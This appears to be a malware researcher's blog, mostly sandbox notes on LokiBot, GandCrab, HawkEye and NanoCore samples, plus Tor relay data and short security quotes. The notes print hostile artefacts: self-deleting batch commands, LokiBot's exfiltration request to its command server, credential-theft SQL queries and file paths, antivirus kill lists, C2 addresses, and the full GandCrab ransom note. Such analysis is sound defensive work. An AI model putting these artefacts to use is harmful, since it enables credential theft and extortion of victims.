0x58d5b2a (104): thedoctor IDhtmjK+y+YCN14BX8cBF5VWU/E m/4gxnNsqmN/9lBaEdzmDQ69K7w 2018-04-12 12:28:03 192.44.30.40 443 0
0x58d5ba2 (104): Singman IDiX0O7qM+MDNxiIRSUOe3OGs6U VGz9gmXbbK0j8+PjeZGIQ2fOf6M 2018-04-12 14:01:51 82.229.26.235 9001 0
0x58d5c1a (107): scaletor IEYsul2kwtljVn0X0LcklxgRSmg 1XELFooHIGhbOebIhxYvbs+hxpE 2018-04-12 18:51:53 212.47.229.2 9001 9030
0x58d5c92 (107): HaveHeart IE39KixqDcH6Dqy0lSGOC2YXBP0 TJ5cm/M13f68v5wuct7XudWWAxI 2018-04-12 10:24:32 77.247.181.164 443 80
0x58d5d0a (102): bruins IGfIGQo0UpNhzqdPwsksfbzLB08 eE3gn4hg6UOP2TFRCeFoyZzbeLo 2018-04-12 09:16:55 85.25.44.141 443 80
0x58d5d82 (103): Unnamed IHEIHjiIIXinP0TpYTbN404wx/s 6Lx3Xpv9x/ar+Gnf6g7zgLSbi9o 2018-04-12 12:24:47 188.63.82.18 9001 0
0x58d5dfa (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d5e72 (104): biggie IHY1n8O+tqtNDybFQZcSowzehdA 4B4duNBD78HbtntbN9yBschbYKU 2018-04-12 06:11:45 104.223.45.150 443 80
0x58d5eea (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d5f62 (105): silverio IH9LLD26YHL9PTf1v9onc7kxcBQ W/KQNwdISZqcQhuNMJYNfT5gAls 2018-04-12 16:13:42 210.3.102.152 443 80
0x58d5fda (104): Unnamed IIP7taZ9sV+KvwyDGVlO6fvmXa8 AhILR2+RjPeiLl6CUfXN/TRNod4 2018-04-12 05:59:23 172.86.144.15 443 80
0x58d6052 (107): Unnamed IIf0VsKQQa5L43xtEdhiZ+c0yKE 515Q7DinoPXiimiCqlPcwiaTIjI 2018-04-12 18:10:21 89.34.237.176 9001 9030
0x58d60ca (102): freja IJa8/ruVoRNPOfz4zrB2/0GitIs 8FjDghwFb7WYxIc91rVylYgoYyI 2018-04-12 19:07:46 194.88.143.66 443 80
0x58d6142 (107): Tortue IMDJDXCT0h9QGK1PfrtjIYNGBvM K68OLjoH0QmXHWaZPe/xl9J/woE 2018-04-12 10:03:14 145.132.191.48 9001 9030
0x58d61ba (106): Freeb23 IMJMAeLgg8nCKesxjQT880uH5Qc LhtfmW4qpkTHAdfcdBtBIIMKskY 2018-04-12 20:07:33 45.76.92.117 9001 9030
0x58d6232 (106): marunga INKhhqQS6kM9m60v29e0izayCzQ jhdd+IQKeLa6WeU7V1XOVuB5DbI 2018-04-12 18:38:10 125.212.217.197 443 80
0x58d62aa (108): Unnamed IOtvfGH7lDb0ejQUoXtlCJnqMtk AHXCFIACFtatamZIy0a+mJBNIWQ 2018-04-12 21:21:07 95.183.48.227 5504 15540
0x58d6322 (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d639a (103): Trabant IPIFgfOHUFfLeve2H3/ab6CGrHE s5NelV2tfL2GdgKnBdA9apdKErA 2018-04-12 10:44:03 46.101.141.15 81 22
0x58d6412 (104): vultor IQ5+2tRK/R4INxtGuQf/86hQygM fBszOjjsto1pz80MyxyPWPPZ9Bk 2018-04-12 18:03:44 209.250.230.160 443 0
0x58d648a (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d6502 (107): Lavaronn IR8DPPmSzBQZxXvleRVvw0UzvVE ustCpd5y2hQQC6QmFo9XVmveQik 2018-04-12 10:56:21 80.7.198.170 9001 9030
0x58d657a (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d65f2 (106): tamanegi ITEPSAZqTKresr/TJPCzj44USNY kwQOgJHJhOXVIAUqhrW4H5sYbAc 2018-04-12 03:26:37 212.89.225.242 443 80
0x58d666a (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d66e2 (109): cannabis IUGUqVEIJwJCJNxdzQHhOSBE6AM fN7A08lLFRnwNRuNOZx5oJY30xw 2018-04-12 19:25:16 94.110.225.157 9001 9030
0x58d675a (106): TheSpy IUMimk+KD+n+485hO8nUBKFiIAk y7BzaThRJcO80x0T43Kv5c0c2lo 2018-04-12 16:29:49 85.240.255.230 443 9002
0x58d67d2 (105): plinganser IVTbWCMaATM/dhYObcQ4vbpmrWI hjCLhA+x552po4nlsMTFxy9wAKA 2018-04-12 13:17:54 77.190.44.65 443 0
0x58d684a (107): finder IVwcDjnjUKUHZ9cQurPzVjUY8V4 p98m92WfrvNKJ2G3hGvL7YrT1QI 2018-04-12 07:17:10 82.221.131.59 1408 13084
0x58d68c2 (105): Unnamed IbVQcsAPRSKFdlX7sPPiXXWlNXs AQtqYjQbDPE77Faff2ZMQ7D5uDM 2018-04-12 07:01:48 109.107.35.154 443 80
0x58d693a (106): jbrelay0 IbYBuA2t4pmKDTUDE24CIutQrx8 9K76gy1Q2wjhxGlsm9MImm2n+HU 2018-04-12 12:13:05 84.135.101.107 443 80
0x58d69b2 (106): Bumblebee IdUxk0lK20IFckLOJ2lTqQVDvjE c+W6dpjuQws8C6zexD42yQAJARg 2018-04-12 15:18:21 188.68.35.203 443 80
0x58d6a2a (106): turingrelay IfAr4hwaFz3No3YkG55GjDucF0g rN5gEK8MwA6ZnterSwKJD9EywR8 2018-04-12 04:13:06 137.74.40.77 444 0
0x58d6aa2 (107): walltor IhUC/WcX/iVdDnq1d+w/Tb70BTU 6s1cD4RUp2OUW5GeghcaZ8++i3M 2018-04-12 15:11:53 79.172.204.36 4480 4481
0x58d6b1a (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d6b92 (103): Liberty IhbC1RSvCN4d4QIKlAq3W0HZVX0 d9xk3jRn8I9dBEf/MxINlO6L8sE 2018-04-12 06:53:50 78.243.193.6 9001 0
0x58d6c0a (107): amsnl Ihd6BAXSjVql0MNbXF81Jlvm1iQ u+kQwO1eEplzL5UHuO5drp/vCiA 2018-04-12 18:45:17 195.123.217.153 9001 9030
0x58d6c82 (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d6cfa (108): Unnamed IhwqP7rtvo6R4T02e/9kmoWE89w X7b4eN4MKakKfru0Ods6WcmS8GM 2018-04-12 11:01:20 46.249.59.212 20646 1246
0x58d6d72 (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d6dea (107): locksat IiEKv6N7DLUmxz1Cutzgl9a5lMQ dN4GeMkKO+uJuXYOvAtr5zMtR88 2018-04-12 04:38:12 62.210.93.142 6916 9030
0x58d6e62 (109): Unnamed IijCuM9IebiMVzK3xCYx1DjBSsk Wah6TKamAslhX2oLmtJJwoqT4Ss 2018-04-12 12:09:41 89.238.178.218 15988 9501
0x58d6eda (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d6f52 (102): nebula IjXjFt+Oc3CBo2WhOG82A1WSpr0 vTGbx1WveqigVmId81rqxCW2MF0 2018-04-12 02:53:23 79.137.69.49 443 80
0x58d6fca (104): kbtr5al IjqV3E0JNzvBjWH1bzsY2v9fuiU Pl66/ih17nG0InOKob73xP1RLmI 2018-04-12 19:26:43 31.171.155.29 443 80
0x58d7042 (109): Unnamed IlEH/oWwIM8NY0bWcD3KwMGXWzo 7Sl8xRfr7nz30nK17GDR2upVY+M 2018-04-12 14:22:52 136.243.78.67 16844 14517
0x58d70ba (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d7132 (109): Unnamed ImVtC4Up0nixUFwcU8KnqChJoIU +CLGAx5AY+AH3G4NywSsZp8j3kw 2018-04-12 12:43:00 185.123.102.59 7518 22804
0x58d71aa (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d7222 (107): dz0tea1 ImqbJisuMh0NrQUqasfbxhXmg8Y 0HvKbU8FzUKndeJnNgLheCHtoMQ 2018-04-12 06:50:11 104.236.46.162 443 9030
0x58d729a (105): Preece01 InqUCsOvAC8XmC2X5GesSB05HFg wdi4E/mnrPaKj6dSsOjOS9fMERA 2018-04-12 10:24:32 79.137.70.137 443 80
0x58d7312 (109): Unnamed IpO1dxuZgZM4zDR430sRwdPip3s EHrectFNcYnGs+yewOyarbWKrMY 2018-04-12 06:44:58 154.16.149.146 2645 25316

----------
interesting api calls of original exe
----------
KERNELBASE.dll CreateFileA ( "\\.\mailslot\msl0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL )
KERNELBASE.dll CreateFileW ( "C:\Users\Win732\AppData\Roaming\Microsoft\Audibres\comr2022.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) 
  

----------
interesting in memory strings of original exe
----------
0x1fe82c8 (66): attrib -r -s -h %%1
:%u
del %%1
if exist %%1 goto %u
del %%0

0x1fe830b (86): :%u
if not exist %%1 goto %u
cmd /C "%%1 %%2"
if errorlevel 1 goto %u
:%u
del %%0
0x1fe8362 (31): %02u-%02u-%02u %02u:%02u:%02u
0x1fe85a0 (84): /C "copy "%s" "%s" /y && rundll32 "%s",%S"
0x1fe85f8 (70): /C "copy "%s" "%s" /y && "%s" "%s""
0x41c8f18 (126): C:\Users\xxx\AppData\Roaming\Microsoft\Audibres\comr2022.exe

lokibot sample

just found on recent submissions on hybrid analysis
https://www.reverse.it/sample/c2678090c55db4f1b39e4d8987b6f3ca6651615fcaae46452f08cad1e8fc6291?environmentId=100
#lokibot

------------

closes itself and re-opens another executable with the same name

------------
interesting packet captures
------------
1.) Domain Name System (response)
    Queries
        kox.termofoc.gr: type A, class IN
    Answers
            Address: 198.12.153.138
2.) POST /oki/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: kox.termofoc.gr
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: E5CE4ED4
Content-Length: 227
Connection: close

..'.......ckav.ru.....[REDACTED USER ID] .......[REDACTED PC NAME].......[REDACTED PC NAME].....................k...........:.....0...2.7.1.8.4.5.3.1.A.2.C.7.0.B.8.D.E.A.0.4.0.E.E.7.....vQURz).....H......ht.ps8:/.w..rerv....it.log.n..`.



------------
interesting strings found in memory
------------
0x247168 (115): HTTP/1.0
User-Agent: %s
Host: %s
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
0x247fb0 (231): i/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: kox.termofoc.gr
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
0x415524 (26): Comodo\Dragon
0x415540 (44): MapleStudio\ChromePlus
0x415570 (26): Google\Chrome
0x4155d4 (26): Titan Browser
0x4155fc (40): Yandex\YandexBrowser
0x415628 (40): Epic Privacy Browser
0x415654 (28): CocCoc\Browser
0x415684 (30): Comodo\Chromodo
0x4156b8 (26): Coowon\Coowon
0x4156d4 (30): Mustang Browser
0x4156f4 (36): 360Browser\Browser
0x41571c (40): CatalinaGroup\Citrio
0x415748 (34): Google\Chrome SxS
0x41578c (44): \Opera\Opera Next\data
0x4157bc (56): \Opera Software\Opera Stable
0x4157f8 (102): \Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer
0x415860 (104): \Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x415ba0 (62): %s\Mozilla\Firefox\profiles.ini
0x415be0 (60): %s\Mozilla\Firefox\Profiles\%s
0x415c20 (66): %s\Mozilla\SeaMonkey\profiles.ini
0x415c68 (64): %s\Mozilla\SeaMonkey\Profiles\%s
0x415cac (58): %s\Flock\Browser\profiles.ini
0x415ce8 (56): %s\Flock\Browser\Profiles\%s
0x415d24 (54): %s\Thunderbird\profiles.ini
0x415d5c (52): %s\Thunderbird\Profiles\%s
0x415d94 (48): %s\K-Meleon\profiles.ini
0x415dc8 (28): %s\K-Meleon\%s
0x415de8 (64): %s\Comodo\IceDragon\profiles.ini
0x415e30 (62): %s\Comodo\IceDragon\Profiles\%s
0x415e70 (92): %s\NETGATE Technologies\BlackHawk\profiles.ini
0x415ed0 (90): %s\NETGATE Technologies\BlackHawk\Profiles\%s
0x415f2c (46): %s\Postbox\profiles.ini
0x415f5c (44): %s\Postbox\Profiles\%s
0x415f90 (74): %s\8pecxstudios\Cyberfox\profiles.ini
0x415fe0 (72): %s\8pecxstudios\Cyberfox\Profiles\%s
0x416030 (94): %s\Moonchild Productions\Pale Moon\profiles.ini
0x416090 (92): %s\Moonchild Productions\Pale Moon\Profiles\%s
0x4160f0 (50): %s\FossaMail\profiles.ini
0x416124 (48): %s\FossaMail\Profiles\%s
0x416158 (150): %s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}\data
0x417120 (28): IMAP Password2
0x417140 (28): NNTP Password2
0x417160 (36): HTTPMail Password2
0x417188 (28): SMTP Password2
0x4171a8 (26): POP3 Password
0x4173d0 (30): %s\32BitFtp.TMP
0x4173f0 (30): %s\32BitFtp.ini
0x417410 (54): %s\Estsoft\ALFTP\ESTdb2.dat
0x417448 (22): %s\site.xml
0x417460 (46): %s\BitKinex\bitkinex.ds
0x4174ac (30): LastUsedProfile
0x4174cc (56): Software\Bitvise\BvSshClient
0x417508 (40): %s\BlazeFtp\site.dat
0x417538 (72): Software\FlashPeak\BlazeFtp\Settings
0x417584 (24): LastPassword
0x4175b4 (22): LastAddress
0x417618 (88): Software\NCH Software\ClassicFTP\FTPAccounts
0x417694 (24): %s\Cyberduck
0x4176b0 (22): user.config
0x4176c8 (30): %s\iterate_GmbH
0x4176e8 (30): %s\EasyFTP\data
0x4181b8 (64): Software\9bis.com\KiTTY\Sessions
0x418200 (70): Software\SimonTatham\PuTTY\Sessions
0x418438 (22): %s\SmartFTP
0x418460 (44): %s\Staff-FTP\sites.ini
0x418490 (44): %s\Steed\bookmarks.txt
0x4184c0 (26): %s\SuperPutty
0x4189b0 (164): 

aPLib v1.01  -  the smaller the better :)
Copyright (c) 1998-2009 by Joergen Ibsen, All Rights Reserved.

More information: http://www.ibsensoftware.com/
0x4a0074 (35): https://kox.termofoc.gr/oki/fre.php

GandCrab ransomware sample

found just in recent hybrid analysis submissions
https://www.reverse.it/sample/93aac54d061ef795aa4cf2071b45a6b6164e227b40bd4e6cd8a2f290dcf58357?environmentId=100
tagged as Trojan.Ransom.GandCrab.Gen   

----------

high cpu, almost no memory strings initially, no subprocesses initially either

-----
interesting files found
-----
C:\$Recycle.Bin\S-1-5-21-3608051918-3224405108-2933264369-1000\$RUW5FIH\commithash.txt.CRAB
C:\$Recycle.Bin\S-1-5-21-3608051918-3224405108-2933264369-1000\$RUW5FIH\CRAB-DECRYPT.txt

-----
interesting child process
-----
nslookup


------
interesting in memory strings
------
0x60000 (114): https://www.torproject.org/download/download-easy.html.en
0x80002 (524):  .ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .hlp .ldf .icl .icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .themepack .exe .bat .cmd .CRAB .crab .GDCB .gdcb .gandcrab .yassine_lemmou 
0x1d0202 (104): C:\Users\xxx\AppData\Roaming\Microsoft\dbwxrl.exe
0x21f8b4 (44): /c shutdown -r -t 1 -f
0x21fb24 (15): fabian wosar <3
0x21fb58 (64): /c timeout -c 5 & del "%s" /f /q
0x21fe10 (26): \Tor Browser\
0x21fe2c (20): Ransomware
0x21ff5c (32): CRAB-DECRYPT.txt
0x21ffd4 (38): %s\CRAB-DECRYPT.txt
0x22001c (58): ipv4bot.whatismyipaddress.com
0x220484 (34): NortonAntiBot.exe
0x2204a8 (24): Mcshield.exe
0x2204c4 (24): avengine.exe
0x222002 (4288): ---= GANDCRAB V2.1 =--- 



Attention! 

All your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB 

The only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. 


The server with your key is in a closed network TOR. You can get there by the following ways: 

0. Download Tor browser - https://www.torproject.org/ 

1. Install Tor browser 

2. Open Tor Browser 

3. Open link in TOR browser: http://gandcrab2pie73et.onion/xxx

4. Follow the instructions on this page 


If Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:
                               
0. https://gandcrab2pie73et.onion.rip/xxx
1. https://gandcrab2pie73et.onion.plus/xxx
2. https://gandcrab2pie73et.onion.to/xxx

ATTENTION! Use regular browser only to contact us. Buy decryptor only through TOR browser link or Jabber Bot!
                        

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. 


The alternative way to contact us is to use Jabber messanger. Read how to:
0. Download Psi-Plus Jabber Client: https://psi-im.org/download/
1. Register new account: http://sj.ms/register.php
    0) Enter "username": xxxx                        
    1) Enter "password": xxxx
2. Add new account in Psi
3. Add and write Jabber ID: ransomware@sj.ms any message
4. Follow instruction bot 

It is a bot! It's fully automated artificial system without human control!
To contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.
You can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf 

DANGEROUS! 

Do not try to modify files or use your own private key - this will result in the loss of your data forever! 
0x225060 (381): <?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
0x2a8830 (282): \??\C:\Windows\zoteramexizosima keluxepu\??\C:\Windows\zoteramexizosima keluxepuvemirazelerinekabatigi sojerojezotolu di pasisulimurimejozuzu
0x2a8a9a (172): zoteramexizosima keluxepuvemirazelerinekabatigi sojerojezotolu di pasisulimurimejozuzu
0x2b0848 (202): \??\C:\Windows\zoteramexizosima keluxepuvemirazelerinekabatigi sojerojezotolu di pasisulimurimejozuzu
0x2c9324 (190): \??\C:\$Recycle.Bin\S-1-5-21-3608051918-3224405108-2933264369-1000\$RUW5FIH\commithash.txt.CRAB
0x2ca8a8 (56): http://80.98.187.85/loaigeoa
0x2f5338 (22): dummy://url

Tuesday, April 10, 2018

Infosec quotes - avionics bankrupt

“... The cost to change one line of code on a piece of avionics equipment is $1 million, and it takes a year to implement. For Southwest Airlines ... it would “bankrupt” them if a cyber vulnerability was specific to systems on board 737s ...”

https://www.tripwire.com/state-of-security/featured/boeing-757-hacked/

Monday, April 9, 2018

hawkeye sample

found by Korben Dallas @KorbenD_Intel
https://twitter.com/KorbenD_Intel/status/983440061772582912
hxxp://emifile[.]com/zcast/
https://www.reverse.it/sample/a02ef42dc3f903a66c6eef374bc4a9f186fdf8e3f7ab5a4a0b833a65aca3acb5/5acbceee7ca3e149fb207535
fes.exe
md5, 7c57c615432a2262c638238bf1625cbf
---------

--------
interesting file locations
--------
C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\microsolts.exe
md5,7C57C615432A2262C638238BF1625CBF

---------
interesting in-memory strings
---------
0x2a5fad8 (66): C:\Users\HawkEye\Desktop\Reborn\Stub\obj\x86\Debug\Reborn Stub.pdb
0x2cdfbb5 (104): HawkEye Keylogger - Reborn v8 - {0} Logs - {1} \ {2}
0x2cdfc1e (122): HawkEye Keylogger - Reborn v8{0}{1} Logs{0}{2} \ {3}{0}{0}{4}
0x2d50f34 (32): KeePass csv file
0x2d50f70 (30): Eudora.ini file
0x2d50ff0 (30): Outlook Express
0x2d51010 (22): IncrediMail
0x2d51036 (52): Group Mail Free
0x2d5106c (60): MS Outlook 2002/2003/2007/2010
0x2d510b6 (22): Hotmail/MSN
0x2d510ce (50): Yahoo! Mail
0x2d51102 (22): Thunderbird
0x2d5111a (28): Google Desktop
0x2d51138 (24): Windows Mail
0x2d51152 (34): Windows Live Mail
0x2d51176 (24): Outlook 2013
0x2d51190 (24): Outlook 2016
0x2d5156e (44):  2003 - 2016 Nir Sofer
0x2d515a2 (22): ProductName
0x2d515bc (30): Mail   PassView
0x2d50c96 (38): Email Accounts List
0x2d50cbe (128): Select base folder of Netscape!Select base folder of ThunderBird
0x2d50d40 (148): Select Eudora.ini filename/Select the location of Thunderbird installation
0x2d4c7ec (23): \Microsoft\Windows Mail
0x2d4c804 (28): \Microsoft\Windows Live Mail
0x2d4c858 (14): Yahoo! User ID
0x2d4c8d0 (49): c:\Projects\VS2005\mailpv\Command-Line\mailpv.pdb
0x2d4ba08 (129): SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins
0x2d4ae18 (100): www.google.com/Please log in to your Gmail account
0x2d4adcb (57): "Account","Login Name","Password","Web Site","Comments"
0x2d4ada8 (12): %s@gmail.com
0x2d4adb8 (12): %s@yahoo.com
0x2d4ac88 (31): Software\IncrediMail\Identities
0x2d2ef03 (73): c:\Projects\VS2005\WebBrowserPassView\Command-Line\WebBrowserPassView.pdb
0x2d2b6d7 (40): Opera\Opera\wand.dat
0x2d2b703 (58): Opera\Opera7\profile\wand.dat
0x2d2b74b (76): Opera Software\Opera Stable\Login Data
0x2d25303 (138): SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins 
0x2cde152 (66): http://bot.whatismyipaddress.com/
0x2cde196 (66): Win32_NetworkAdapterConfiguration
0x2cde48a (32): AntiVirusProduct
0x2cde4e4 (30): FirewallProduct
0x2cdd870 (20): Screenshot
0x2cdd8b4 (78): http://uploads.im/api?upload&format=xml
0x2cdb0d4 (19): get_ClipboardLogger
0x2cdb0e8 (19): set_ClipboardLogger
0x2cdb0fc (19): get_KeyStrokeLogger
0x2cdb110 (19): set_KeyStrokeLogger
0x2cdb124 (16): get_WebCamLogger
0x2cdb135 (16): set_WebCamLogger
0x2cdb146 (20): get_ScreenshotLogger
0x2cdb15b (20): set_ScreenshotLogger
0x2a38789 (72): https://login.yahoo.com/config/login
0x29ee772 (19): random seed: reborn
0x29ee79a (14): clipboardHook
0x29ee7ae (12): keyboardHook
0x29eac56 (60): The Wireshark Network Analyzer
0x29eaca4 (38): Emulation Detected!
0x29eaccc (20): rstrui.exe
0x29eace2 (24): AvastSvc.exe
0x29eacfc (24): avconfig.exe
0x29ead16 (22): AvastUI.exe
0x29ead2e (20): avscan.exe
0x29ead44 (20): instup.exe
0x29ead6c (22): mbamgui.exe
0x29ead84 (20): mbampt.exe
0x29ead9a (34): mbamscheduler.exe
0x29eadbe (30): mbamservice.exe
0x29eadde (28): hijackthis.exe
0x29eadfc (24): spybotsd.exe
0x29eae2a (24): avcenter.exe
0x29eae44 (22): avguard.exe
0x29eae84 (24): avgcsrvx.exe
0x29eae9e (30): avgidsagent.exe
0x29eaebe (20): avgrsx.exe
0x29eaed4 (24): avgwdsvc.exe
0x29eaf00 (24): zlclient.exe
0x29eaf1a (22): bdagent.exe
0x29eaf32 (32): keyscrambler.exe
0x29eaf64 (26): wireshark.exe
0x29eaf80 (24): ComboFix.exe
0x29eaf9a (22): MSASCui.exe
0x29eafb2 (24): MpCmdRun.exe
0x29eafcc (22): msseces.exe
0x29eafe4 (22): MsMpEng.exe

Infosec quotes - office flash wild

“... being used in the wild, it's Office doc -> code execution without prompts or macros on fully patched Office via Flash vulnerability...”

https://twitter.com/gossithedog/status/983344064140627969?s=21

Sunday, April 8, 2018

Infosec quotes - blue team 101

“... Blue team 101 is monitoring schtasks executions. Blue team 101 will bust APTs all day long. They may be fancy breaking in, but they stay stone age trying to stay ...”

https://twitter.com/r0wdy_/status/982911280284516352?s=21

Infosec quotes - flash ransomware

Fake Adobe Flash Player delivers Ransomware instead.

https://twitter.com/nao_sec/status/982995719446396928?s=21

Infosec quotes - search ads

“... When using a search engine to search for software download links, be sure to go directly to the developer's site rather than clicking on an advertisement as you may not get what you are expecting...”

https://www.bleepingcomputer.com/news/security/beware-of-bing-chrome-download-ads-pushing-adware-pup-installers/

Friday, April 6, 2018

Infosec quotes - customer service passwords

If you are on a customer service team and can see a customer’s password in your system, that means your IT team is storing password incorrectly. I’d recommend escalating this as a security issue. Passwords should be hashed so they are not reversible, and if a customer forgets their password they reset it ... you shouldn’t be able to read back to them what their password is.

https://twitter.com/tmobileat/status/981418339653300224?s=21

nanocore sample

found by James @james_inthe_box
#nanocore 
https://twitter.com/James_inthe_box/status/982261535752896512
https://www.hybrid-analysis.com/sample/98b521b3b880480fda8ade21899e3a9292532d5f9bd99f40408d2592b4bbbb64/5ac780347ca3e108634827f3

Update : 10/30/2018

All the domain names look like the Mozilla public suffix list

https://github.com/publicsuffix/list

-----------

-----------
interesting strings in exe
-----------
SOFTWARE\Borland\Delphi\RTL


-----------
interesting strings in memory
-----------
0x127e2a (214): file:///C:/Users/xxx/Desktop/en/SurveillanceExClientPlugin.resources/SurveillanceExClientPlugin.resource
0x1281b0 (224): file:///C:/Users/xxx/Desktop/en/SurveillanceExClientPlugin.resources/SurveillanceExClientPlugin.resources.EXE
0x23c354 (78): SELECT DisplayName FROM FirewallProduct
0x48fef5 (15): NanoCore Client
0x48ff05 (19): NanoCore Client.exe
0x49014d (21): NanoCore.ClientPlugin
0x49018d (25): NanoCore.ClientPluginHost
0x198627c (42): SurveillanceEx Plugin
0x19862b8 (30): KeyboardLogging
0x198636c (24): DefaultGroup
0x19863b8 (42): PrimaryConnectionHost
0x19863f4 (40): BackupConnectionHost
0x1986430 (26): 172.86.120.91
0x198db40 (32): IsRunningAsAdmin
0x198db80 (28): IsVistaOrLater
0x1a05574 (42): nanocore client[5048]
0x1a083b4 (70): Connecting to 172.86.120.91:54984..
0x1a1f070 (32): NanoCoreBase.Resources.resources
0x1a1f22a (44): NanoCoreBase.Resources
0x1a1f92c (111): G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb
0x1a1ff04 (32): NanoCoreBase.dll
0x1a22d2c (22): NanoBrowser
0x1a29c8a (24): Sending shit
0x1a29ca5 (186): [NanoScript] Connection to host has been lost, NanoScript will now remove all unwanted files.
0x1a29d61 (28): Removing files
0x1a29e0d (38): Recieving passwords
0x1a29ea9 (36): Processing Command
0x1a29f31 (20): |Executed!
0x1a29f47 (34): Executing Command
0x1a29f6b (66): [NanoScript] Cleaning up files...
0x1a2b22c (125): C:\Users\Liam\Documents\Visual Studio 2013\Projects\MyNanoCore RemoteScripting\MyClientPlugin\obj\Debug\MyClientPluginNew.pdb
0x1a31e38 (119): C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb
0x1a35414 (26): NanoCoreSwiss
0x1a36f2c (36): EnableWebcamLights
0x1a37470 (81): C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb
0x1a3a870 (20): NanoStress
0x1a42019 (40): [NanoNana] Pipeline 
0x1a422c4 (162): Your system administrator has locked your computer and left you with this message
0x1a43964 (90): P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb
0x1a4bde8 (60): NanoCoreStressTester.Resources
0x1a4cd58 (48): NanoCoreStressTester.dll

--------------
tons of domain names in memory
--------------
0x1990a5c (54): accident-investigation.aero
0x1990aa4 (48): accident-prevention.aero
0x1990ae8 (28): aerobatic.aero
0x1990b18 (26): aeroclub.aero
0x1990b44 (28): aerodrome.aero
0x1990b74 (22): agents.aero
0x1990b9c (26): aircraft.aero
0x1990bc8 (24): airline.aero
0x1990bf4 (24): airport.aero
0x1990c20 (42): air-surveillance.aero
0x1990c5c (30): airtraffic.aero
0x1990c8c (48): air-traffic-control.aero
0x1990cd0 (28): ambulance.aero
0x1990d00 (28): amusement.aero
0x1990d30 (32): association.aero
0x1990d64 (22): author.aero
0x1990d8c (30): ballooning.aero
0x1990dbc (22): broker.aero
0x1990e08 (20): cargo.aero
0x1990e30 (26): catering.aero
0x1990e5c (36): certification.aero
0x1990e94 (34): championship.aero
0x1990ec8 (24): charter.aero
0x1990ef4 (36): civilaviation.aero
0x1990f50 (30): conference.aero
0x1990f80 (30): consultant.aero
0x1990fb0 (30): consulting.aero
0x1990fe0 (24): control.aero
0x199100c (24): council.aero
0x199105c (22): design.aero
0x19910a8 (26): educator.aero
0x19910d4 (28): emergency.aero
0x1991104 (22): engine.aero
0x199112c (26): engineer.aero
